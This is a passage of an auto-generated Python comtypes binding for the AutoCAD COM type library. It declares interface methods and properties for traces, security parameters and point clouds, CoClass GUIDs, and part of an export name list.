IAcadPlotConfigurations_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name, ModelType):\n## '-no docstring-'\n## #return pPlotConfig\n##\n\nIAcadTrace._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'corners' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'corners' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n]\n################################################################\n## code template for IAcadTrace implementation\n##class IAcadTrace_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return corners\n## def _set(self, corners):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadAttributeReference(CoClass):\n _reg_clsid_ = GUID('{8D352F9D-9032-4D35-AE8B-1A2DC4A8BFDA}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadAttributeReference._com_interfaces_ = [IAcadAttributeReference]\nAcadAttributeReference._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadCircle(CoClass):\n _reg_clsid_ = GUID('{92025176-077A-4E9D-A226-D47E3C7BE3EC}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadCircle._com_interfaces_ = [IAcadCircle]\nAcadCircle._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadHatch(CoClass):\n _reg_clsid_ = GUID('{74C21669-1C61-45E7-901B-3BB4A0B09370}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadHatch._com_interfaces_ = [IAcadHatch]\nAcadHatch._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadSecurityParams._methods_ = [\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Action',\n ( ['in'], c_int, 'pOperations' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Action',\n ( ['out', 'retval'], POINTER(c_int), 'pOperations' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Password',\n ( ['in'], BSTR, 'pSecret' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Password',\n ( ['out', 'retval'], POINTER(BSTR), 'pSecret' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'ProviderType',\n ( ['in'], c_int, 'pProvType' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'ProviderType',\n ( ['out', 'retval'], POINTER(c_int), 'pProvType' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'ProviderName',\n ( ['in'], BSTR, 'pProvName' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'ProviderName',\n ( ['out', 'retval'], POINTER(BSTR), 'pProvName' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Algorithm',\n ( ['in'], c_int, 'pAlgId' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Algorithm',\n ( ['out', 'retval'], POINTER(c_int), 'pAlgId' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'KeyLength',\n ( ['in'], c_int, 'pKeyLen' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'KeyLength',\n ( ['out', 'retval'], POINTER(c_int), 'pKeyLen' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'Subject',\n ( ['in'], BSTR, 'pCertSubject' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Subject',\n ( ['out', 'retval'], POINTER(BSTR), 'pCertSubject' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Issuer',\n ( ['in'], BSTR, 'pCertIssuer' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Issuer',\n ( ['out', 'retval'], POINTER(BSTR), 'pCertIssuer' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'SerialNumber',\n ( ['in'], BSTR, 'pSerialNum' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'SerialNumber',\n ( ['out', 'retval'], POINTER(BSTR), 'pSerialNum' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'Comment',\n ( ['in'], BSTR, 'pText' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'Comment',\n ( ['out', 'retval'], POINTER(BSTR), 'pText' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'TimeServer',\n ( ['in'], BSTR, 'pTimeServerName' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'TimeServer',\n ( ['out', 'retval'], POINTER(BSTR), 'pTimeServerName' )),\n]\n################################################################\n## code template for IAcadSecurityParams implementation\n##class IAcadSecurityParams_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pOperations\n## def _set(self, pOperations):\n## '-no docstring-'\n## Action = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pSecret\n## def _set(self, pSecret):\n## '-no docstring-'\n## Password = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pProvType\n## def _set(self, pProvType):\n## '-no docstring-'\n## ProviderType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pProvName\n## def _set(self, pProvName):\n## '-no docstring-'\n## ProviderName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pAlgId\n## def _set(self, pAlgId):\n## '-no docstring-'\n## Algorithm = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pKeyLen\n## def _set(self, pKeyLen):\n## '-no docstring-'\n## KeyLength = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pCertSubject\n## def _set(self, pCertSubject):\n## '-no docstring-'\n## Subject = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pCertIssuer\n## def _set(self, pCertIssuer):\n## '-no docstring-'\n## Issuer = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pSerialNum\n## def _set(self, pSerialNum):\n## '-no docstring-'\n## SerialNumber = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pText\n## def _set(self, pText):\n## '-no docstring-'\n## Comment = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pTimeServerName\n## def _set(self, pTimeServerName):\n## '-no docstring-'\n## TimeServer = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadLeader(CoClass):\n _reg_clsid_ = GUID('{DBB18BED-79B7-4430-AC0B-1E830F365763}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadLeader._com_interfaces_ = [IAcadLeader]\nAcadLeader._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadGeomapImage(CoClass):\n _reg_clsid_ = GUID('{9C0E5023-7125-4669-BE1A-4AED4CC56415}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadGeomapImage._com_interfaces_ = [IAcadGeomapImage]\n\nIAcadPointCloud._methods_ = [\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'UseEntityColor',\n ( ['out', 'retval'], POINTER(AcPointCloudColorType), 'val' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'UseEntityColor',\n ( ['in'], AcPointCloudColorType, 'val' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ShowIntensity',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'val' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ShowIntensity',\n ( ['in'], VARIANT_BOOL, 'val' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'IntensityColorScheme',\n ( ['out', 'retval'], POINTER(AcPointCloudIntensityStyle), 'val' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'IntensityColorScheme',\n ( ['in'], AcPointCloudIntensityStyle, 'val' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'EndPoint' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'EndPoint' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'val' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'val' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(ACAD_DISTANCE), 'val' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Width',\n ( ['in'], ACAD_DISTANCE, 'val' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'Length',\n ( ['out', 'retval'], POINTER(ACAD_DISTANCE), 'val' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'Length',\n ( ['in'], ACAD_DISTANCE, 'val' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(ACAD_DISTANCE), 'val' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'Height',\n ( ['in'], ACAD_DISTANCE, 'val' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'scale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'val' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'scale',\n ( ['in'], ACAD_NOUNITS, 'val' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'Path',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'ShowClipped',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'val' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'ShowClipped',\n ( ['in'], VARIANT_BOOL, 'val' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Locked',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'val' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Locked',\n ( ['in'], VARIANT_BOOL, 'val' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'Stylization',\n ( ['out', 'retval'], POINTER(AcPointCloudStylizationType), 'val' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'Stylization',\n ( ['in'], AcPointCloudStylizationType, 'val' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'Unit',\n ( ['out', 'retval'], POINTER(BSTR), 'val' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'UnitFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'val' )),\n]\n################################################################\n## code template for IAcadPointCloud implementation\n##class IAcadPointCloud_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## UseEntityColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## ShowIntensity = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## IntensityColorScheme = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndPoint\n## def _set(self, EndPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Length = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## scale = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Name(self):\n## '-no docstring-'\n## #return val\n##\n## @property\n## def Path(self):\n## '-no docstring-'\n## #return val\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## ShowClipped = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Locked = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## Stylization = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Unit(self):\n## '-no docstring-'\n## #return val\n##\n## @property\n## def UnitFactor(self):\n## '-no docstring-'\n## #return val\n##\n\nclass AcadDimAligned(CoClass):\n _reg_clsid_ = GUID('{6B6E4A11-1124-479D-A7F6-E262E9920509}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDimAligned._com_interfaces_ = [IAcadDimAligned]\nAcadDimAligned._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass AcadDimension(CoClass):\n _reg_clsid_ = GUID('{69397113-68A3-4B89-BDEE-52EE6819619F}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDimension._com_interfaces_ = [IAcadDimension]\nAcadDimension._outgoing_interfaces_ = [IAcadObjectEvents]\n\n__all__ = [ 'acSmooth', 'AcCellProperty',\n 'acSectionGenerationDestinationFile', 'AcDimFractionType',\n 'acPolicyNewLegacy', 'acDimLEngineering', 'AcadRay',\n 'acTitleRowFillColor', 'acHeaderVertInsideVisibility',\n 'acDragDoNotDisplay', 'acNoOverrides', 'acSimple3DPoly',\n 'AcadNurbSurface', 'AcadRasterImage', 'acUCS',\n 'acDimPrecisionSeven', 'acAlignmentMiddleLeft',\n 'acAlignPntAcquisitionAutomatic', 'acVp1_32in_1ft',\n 'acCastsShadows', 'acNoDrawingAreaShortCutMenu',\n 'IAcadMInsertBlock', 'acLnWt050', 'acVp4_1',\n 'acSecondExtensionLine', 'acPolyline', 'AcadDimAligned',\n 'acDataVertInsideVisibility', 'acReceivesShadows',\n 'AcHatchObjectType', 'acHeaderHorzInsideLineWeight',\n 'acOPQHighGraphics', 'acNotStacked', 'ac1_16',\n 'IAcadRevolvedSurface', 'AcadUCS', 'acVp3_16in_1ft',\n 'acToolbarButton', 'acDataRow', 'AcHelixTwistType',\n 'acLnWt200', 'acVp6in_1ft', 'acHatchLoopTypeDefault',\n 'acVp1_8in_1ft', 'acDegrees180', 'AcPointCloudColorType',\n 'ac6in_1ft', 'AcInsertUnits', 'acEngineering',\n 'acAttachmentPointBottomLeft', 'AcLoftedSurfaceNormalType',\n 'acMtext', 'acUniformParam', 'kInheritCellFormat',\n 'ac2004_dxf', 'acTableSelectWindow', 'acLnWt013',\n 'AcadDgnUnderlay', 'AcadDimension', 'AcPlotOrientation',\n 'IAcadPolyfaceMesh', 'acCellLeftVisibility',\n 'acCellBackgroundFillNone', 'AcadShape',\n 'acHeaderVertRightVisibility', 'ac180degrees', 'acVp1_40',\n 'ACADSECURITYPARAMS_ENCRYPT_DATA', 'acArrowOpen90',\n 'AcadSubEntSolidNode', 'IAcadSectionTypeSettings',\n 'ac1_10', 'AcadDictionary', 'acDataHorzBottomColor',\n 'acScanColor', 'acLnWt018', 'AcadRegion',\n 'acTitleVertRightVisibility', 'acCellTopGridLineWeight',\n 'acR15_dwg', 'AcMeshCreaseType', 'acInsertUnitsUnitless',\n 'ac3_16in_1ft', 'acMarginLeft', 'acSectionStatePlane',\n 'acLsNewViewport', 'AcadLineType',\n 'AcDataLinkUpdateOption', 'AcadHyperlink',\n 'acInsertUnitsMillimeters', 'acVp1_128in_1ft',\n 'ACAD_ANGLE', 'acUseDraftAngles', 'AcDimFit',\n 'acHeaderRow', 'ac1_40', 'acPenWidth035',\n 'acClassification', 'acTopMask', 'ac1_64in_1ft',\n 'acSectionGenerationDestinationNewBlock', 'AcLeaderType',\n 'acDataHorzBottomVisibility',\n 'AcSplineKnotParameterizationType', 'acArrowDot',\n 'acCellLeftGridLineWeight', 'acLnWt009',\n 'acAttributeModePreset', 'AcDimToleranceMethod',\n 'acLsColor', 'AcadDimStyle', 'acVp1_16', 'acHorzTop',\n 'acAbove', 'acCenterAlignment', 'IAcadHyperlinks',\n 'acTitleVertLeftLineWeight', 'acVp1_1', 'ac2_1',\n 'acYellow', 'acHatchLoopTypeDerived', 'AcadSolid',\n 'AcDrawLeaderOrderType', 'ac2010_dwg', 'AcadTable',\n 'acLnWt035', 'AcadTextStyles', 'AcDimLUnits',\n 'acViewport3Right', 'acVpScaleToFit', 'IAcadDimension',\n 'ac3_8in_1ft', 'ac1ft_1ft', 'acBlockCell',\n 'acVp1_64in_1ft', 'acAttachmentPointBottomRight',\n 'acStraightLeader', 'acGreen', 'acArrowDatumFilled',\n 'ac3dSolid', 'acDimPrecisionSix', 'ac1_50',\n 'IAcadSubEntSolidNode', 'acMenuSeparator', 'acArrowNone',\n 'acHeaderHorzInsideColor', 'acAttachmentHorizontal',\n 'acTopCenter', 'AcadGroup', 'acCenterMark',\n 'acHorzCentered', 'acToolbarDockBottom', 'AcadLine',\n 'acSplineWithArrow', 'acSplineNoArrow', 'IAcadEllipse',\n 'acXline', 'AcadPlotConfigurations', 'acBackgroundColor',\n 'acTitleVertLeftColor', 'acPartialPreview',\n 'acInsertUnitsMicroinches', 'acPlotOrientationPortrait',\n 'AcColorMethod', 'IAcadSection', 'IAcadSubEntSolidVertex',\n 'AcadSecurityParamsConstants', 'acCellStateFormatReadOnly',\n 'acIntensityGrayscale', 'AcadSubEntSolidEdge', 'ac1_5',\n 'acDimAngular', 'ac100_1', 'acDimAligned',\n 'AcOlePlotQuality', 'acRadians', 'IAcadSummaryInfo',\n 'IAcadPointCloudEx', 'acDegreesHorz', 'acFlowDirBtoT',\n 'ac3_4in_1ft', 'acTitleRowFillNone', 'acDimPrecisionOne',\n 'AcZoomScaleType', 'acLnWt020',\n 'acHorizontalAlignmentMiddle', 'AcShadePlot',\n 'acHeaderHorzTopLineWeight', 'AcSplineMethodType',\n 'acControlVertices', 'acDimWindowsDesktop', 'acAutoScale',\n 'acSectionTypeLiveSection', 'acCellDataType',\n 'acDrawLeaderFirst', 'AcPlotType', 'AcadSortentsTable',\n 'AcMenuGroupType', 'acColorMethodByLayer',\n 'acTitleRowAlignment',\n 'acMergeCellStyleConvertDuplicatesToOverrides', 'acVp1_4',\n 'acDegrees270', 'AcadGroups', 'AcadMLeader',\n 'acUseMaximumPrecision', 'AcMeasurementUnits',\n 'IAcadSectionTypeSettings2', 'AcExtendOption',\n 'AcadPolyfaceMesh', 'acAttachmentBottomOfBottom',\n 'AcadSectionSettings', 'IAcadRegisteredApplication',\n 'AcPredefBlockType', 'AcEntityName', 'ACAD_COLOR',\n 'AcadTolerance', 'IAcadXRecord', 'acTable',\n 'AcSectionSubItem', 'acByColor', 'acHorzInside',\n 'acPaletteBySession', 'acTitleRow',\n 'acSectionSubItemBackLineTop', 'acCellStateLinked',\n 'acAttachmentCenter', 'IAcadRasterImage', 'IAcadTolerance',\n 'acBezierSurfaceMesh', 'acHorizontalAngle', 'acLsPlot',\n 'acUpdateOptionOverwriteFormatModifiedAfterUpdate',\n 'IAcadTextStyle', 'AcadPlaneSurface', 'acOQHighPhoto',\n 'AcadSubDMeshEdge', 'AcadLayout', 'acTrueColor',\n 'acCellBottomGridColor', 'acLnWtByLwDefault',\n 'acTextFlagUpsideDown', 'acTitleVertRightColor',\n 'acCellBottomGridLineWeight', 'AcadExternalReference',\n 'IAcadDimOrdinate', 'acAttachmentBottomOfTopLine',\n 'ac1_16in_1ft', 'acHeaderVertInsideLineWeight',\n 'acDataHorzTopLineWeight', 'acCellTextStyle',\n 'AcAngleUnits', 'acFontBoldItalic', 'acPenWidth013',\n 'IAcadPointCloud', 'acEnglish', 'acInsertUnitsParsecs',\n 'acPolymesh', 'acAlignPntAcquisitionShiftToAcquire',\n 'acDimLineWithText', 'acR15_dxf', 'AcadSecurityParams',\n 'IAcadMLeader', 'acDisplayDCS', 'acHatchLoopTypePolyline',\n 'acMenuFileSource', 'acLineNoArrow', 'AcadLayouts',\n 'AcDimPrecision', 'acTolMiddle', 'AcSaveAsType',\n 'IAcadView', 'acHeaderRowDataType',\n 'acKeyboardRunningObjSnap', 'AcDrawingAreaShortCutMenu',\n 'acHatchStyleIgnore', 'ac90degrees', 'acSetDefaultFormat',\n 'acOQPhoto', 'acTitleVertRightLineWeight', 'acDwfUnderlay',\n 'acSimplePoly', 'acToolbarControl', 'IAcadTable',\n 'AcCellContentLayout', 'acTableFlowDownOrUp',\n 'AcFormatOption', 'acVp1and1_2in_1ft', 'ac1_8in_1ft',\n 'AcadTextStyle', 'acCellMarginRight', 'AcadViewports',\n 'acSectionGenerationSourceAllObjects', 'acZero', 'acGrads',\n 'acSectionSubItemVerticalLineTop', 'AcadCircle',\n 'AcTableStyleOverrides', 'acTrace',\n 'acDataHorzTopVisibility', 'acHeaderRowColor',\n 'acDataRowFillNone', 'acDataHorzBottomLineWeight',\n 'IAcadFileDependency', 'AcadSubDMeshFace',\n 'acAttachmentBottomOfTop', 'acElevation',\n 'AcTableFlowDirection', 'acLnWt015',\n 'acSectionState2Boundary', 'acSectionSubItemSectionLine',\n 'AcGridLineType', 'IAcadExternalReference',\n 'acKeyboardEntryExceptScripts', 'AcPlotPaperUnits',\n 'IAcadPointCloudEx2', 'acLsPlotStyle', 'ac2000_Template',\n 'IAcadXline', 'acSectionSubItemSectionLineBottom',\n 'AcadSecurityParamsType', 'acPolyfaceMesh', 'acIsoparms',\n 'IAcadTrace', 'acSectionSubItemBackLineBottom',\n 'acLnWt080', 'AcadDimDiametric', 'acCellTopVisibility',\n 'acHorzCellMargin', 'ac0degrees',\n 'acInsertUnitsGigameters', 'acUnder',\n 'acInsertUnitsNanometers', 'acViewport3Above',\n 'acHeaderRowFillColor', 'AcLineWeight',\n 'acSelectionSetAll', 'AcadSweptSurface', 'acUnion',\n 'IAcadViewports', 'acCellRightVisibility', 'acProxyShow',\n 'acDataRowTextHeight', 'IAcadLineType',\n 'acInsertUnitsInches', 'acBottomMask', 'acVp1_20',\n 'ACADSECURITYPARAMS_ENCRYPT_PROPS', 'acLeftMask',\n 'AcTextAttachmentType', 'acPolicyLegacyLegacy',\n 'acSectionStateBoundary', 'IAcadDimRadialLarge',\n 'acSymInFront', 'AcadDatabase', 'AcadLayers',\n 'acPaperSpaceDCS', 'acTableSelectCrossing', 'acBlockSlot',\n 'acSectionGenerationDestinationReplaceBlock', 'AcadHatch',\n 'AcDimUnits', 'acTitleHorzBottomColor', 'acUniform',\n 'AcadGeoPositionMarker', 'AcDrawingAreaSCMEdit', 'acCW',\n 'acVp1_5', 'acShadePlotAsDisplayed', 'IAcadDimStyle',\n 'acConnectBase', 'acDataVertRightVisibility',\n 'acCellMarginLeft', 'IAcadShadowDisplay',\n 'AcToolbarDockStatus', 'acSubtraction',\n 'acCellMarginVertSpacing', 'acMenuItem',\n 'AcadPlotConfiguration', 'acVp1_4in_1ft', 'acTurns',\n 'acMenuFileCompiled', 'acVp100_1', 'acCellLeftGridColor',\n 'ACAD_NULL', 'acUnitArea', 'acBottom', 'acHatchObject',\n 'ac3dPolyline', 'acZoomScaledRelativePSpace',\n 'AcBlockConnectionType', 'acOPQMonochrome', 'acDegrees000',\n 'acVpCustomScale', 'acPrinterNeverAlertLogOnce',\n 'acVp3in_1ft', 'acDragDisplayOnRequest',\n 'acSelectionSetFence', 'acEdSCM', 'acVertLeft',\n 'AcadMaterials', 'IAcadModelSpace', 'AcProxyImage',\n 'IAcadPlaneSurface', 'ac1_8', 'acCellContentTypeField',\n 'IAcadGroups', 'acAttachmentPointTopLeft',\n 'acUseDefaultDrawingAreaShortCutMenu', 'acR14_dwg',\n 'acWindow', 'acWorld', 'acScaleToFit', 'acPoint2d',\n 'IAcadHyperlink', 'acViewport3Below',\n 'acGridLineStyleSingle', 'acOQGraphics', 'acDegrees15',\n 'acExtendBoth', 'acTolerance', 'AcadBlockReference',\n 'acPoint3d', 'acAny', 'acQuadSpline3DPoly', 'acLnWt005',\n 'acAttachmentPointTopRight', 'acArrowDatumBlank',\n 'acDataVertLeftLineWeight', 'acLnWt120', 'acTolBottom',\n 'acDegreesUnknown', 'ac2004_dwg', 'acHeaderVertRightColor',\n 'AcActiveSpace', 'acText', 'AcHorizontalAlignment',\n 'acHeaderVertLeftColor', 'acAttachmentBottomLine',\n 'ac1in_1ft', 'acLnWt053', 'ac2010_dxf', 'IAcadCircle',\n 'AcViewportScale', 'acZoomScaledRelative',\n 'acArrowUserDefined', 'acAttribute', 'acDimLFractional',\n 'acTextFlagBackward', 'acAttributeModeNormal',\n 'acIgnoreShadows', 'ACADSECURITYPARAMS_SIGN_DATA', 'acRed',\n 'AcSelectType', 'acAttachmentMiddleOfBottom',\n 'acTableFlowLeft', 'acRay', 'acDataVertLeftColor',\n 'IAcadLineTypes', 'IAcadSortentsTable',\n 'acCellMarginBottom', 'acPenWidth050', 'acAlignmentMiddle',\n 'Acad3DFace', 'acArrowClosedBlank', 'AcadDimOrdinate',\n 'acRotation', 'acDimPrecisionTwo', 'acBuffer',\n 'acAttachmentAllLine', 'acInsertUnitsDecimeters', 'acTrue',\n 'acDataHorzInsideColor', 'acSpline', 'AcLoopType',\n 'acInches', 'acMoveTextNoLeader', 'ac3in_1ft',\n 'acAlignmentTopRight', 'AcPointCloudExStylizationType',\n 'AcPlotRotation', 'acByStyle', 'acPolylineLight',\n 'AcDimArcLengthSymbol', 'acSelectionSetLast', 'acBestFit',\n 'acVertInside', 'ac2000_dxf', 'acCellStateContentReadOnly',\n 'IAcadUnderlay', 'acAlignmentRight', 'acDouble',\n 'AcadRegisteredApplications', 'acUserDefinedGradient',\n 'acLsFrozen', 'acCellMarginTop', 'acScale',\n 'IAcadDim3PointAngular', 'acLsAll', 'acInvalidGridLine',\n 'acToolbarFloating', 'AcTextGenerationFlag',\n 'acInsertUnitsAstronomicalUnits', 'ac3_32in_1ft',\n 'acAttributeReference', 'acCellMarginHorzSpacing',\n 'acVp1in_1ft', 'acDimArchitectural', 'acObjectColor',\n 'acHatchPatternTypeCustomDefined', 'IAcadAcCmColor',\n 'acByLayer', 'AcCellContentType',\n 'acInsertUnitsUSSurveyMile', 'acCellContentTypeBlock',\n 'acMenuSubMenu', 'acSelectionSetWindowPolygon',\n 'IAcadAttributeReference', 'acCellStateNone',\n 'AcadGeomapImage', 'acArchitectural',\n 'acShadePlotWireframe', 'acVp3_4in_1ft', 'AcadIdPair',\n 'acDimLScientific', 'AcOnOff', 'IAcad3DPolyline',\n 'AcPolylineType', 'AcAttachmentPoint', 'acDisplay',\n 'AcadPointCloudEx', 'acBlockCircle', 'acCCW',\n 'ACADSECURITYPARAMS_ADD_TIMESTAMP', 'acTop',\n 'acDemandLoadEnabled', 'acNoUnits',\n 'acPlotOrientationLandscape', 'IAcadArc',\n 'AcGridLineStyle', 'acInsertUnitsUSSurveyYard',\n 